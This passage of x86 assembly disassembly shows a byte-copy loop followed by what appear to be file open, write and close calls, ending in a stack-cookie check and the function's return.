mov byte [ecx + edi], dl
inc ecx
cmp ecx, esi
jb 0x407d20
cmp dword [ebx + 0x14], 0x10
jb 0x407d3a
mov ebx, dword [ebx]
push 0x430ff0
lea eax, [ebp - 8]
push ebx
push eax
call fcn.00408fe6
push dword [ebp - 8]
push 1
push esi
push edi
call fcn.00409184
push dword [ebp - 8]
call fcn.00409272
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00407d71
mov esp, ebp
pop ebp
ret